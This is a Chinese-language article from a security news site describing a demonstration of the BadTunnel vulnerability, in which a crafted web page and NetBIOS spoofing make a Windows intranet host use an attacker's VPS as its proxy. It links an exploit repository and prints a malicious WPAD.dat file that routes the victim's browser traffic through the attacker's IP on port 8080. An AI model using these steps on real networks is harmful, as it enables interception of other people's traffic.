欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

BadTunnel利用之远程劫持任意内网主机流量

来源:本站整理 作者:佚名 时间:2016-06-22 TAG: 我要投稿

最近貌似这个漏洞挺火的 作为一个安全从业者我们先还是把重心放在漏洞本身吧 客观来讲 这个漏洞确实挺严重的 因为影响的范围很广
  大部分的争论都是集中在WPAD协议的利用姿势方面 而忽略的最核心的点 'Tunnel'顾名思义即隧道 而这个漏洞的精髓就是靠的这个Tunnel 使得劫持任意网段主机流量成为可能 关于漏洞的起因我就不多说了 drop里的文章已经说的很详细了
  下面模拟下真实的远程内网劫持攻击:
  测试环境:本地一台内网windows主机 + 远程一台阿里云VPS
  测试目标:本地用浏览器打开构造好的网页后 完成将本地网络流量劫持到远程的VPS主机上
  说下具体的攻击步骤:
  1 本地主机
  本地不要做任何设置 只要保证IE浏览器的自动检测代理为默认开启就行
  看下本地的环境吧
  主机通过无线路由上网 处于内网之中
      

  2 远程主机
  VPS上也不用做其他设置 只要准备两个文件就行了
  第一个文件当然是 利用代码 我已经写好了
  在这里https://github.com/T3rry7f/BadTunnel_exp
  第二个文件就是 WPAD.dat 文件 内容大概如下:
function FindProxyForURL(url, host) {      // URLs within this network are accessed directly      if (isInNet(host, "127.0.0.1", "255.255.255.0"))      {         return "DIRECT";      }      return "PROXY x.x.x.x:8080; DIRECT";   }
  其中x.x.x.x 为VPS的外网IP 将配置好的文件上传到Web服务器的 根目录下
  对了 为了顺利的劫持流量 还要准备一个 http代理脚本 这个我就不贴了 网上一大堆
  然后 分别运行攻击脚本和代理脚本
     3 流量劫持
  所有的准备工作已完成 下面就是用浏览器打开 构造好的html文件 其实文件的内容很简单 贴下吧
  其中x.x.x.x 为VPS的公网IP
  浏览器本地打开网页
       

  接下来我们看看VPS上的反应
  我们看到攻击脚本检测到了请求 并发送了伪造的数据包
      

  有兴趣的同学可以自己用WireShark抓包看看数据包的交互过程
  我们先本地查下看Netbois缓存记录
  发现NetBois的缓存已经被成功写入
      

  到了这里说明攻击已经成功了 我们打开浏览器验证下
  查下IP 发现显示为VPS的地址
        

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载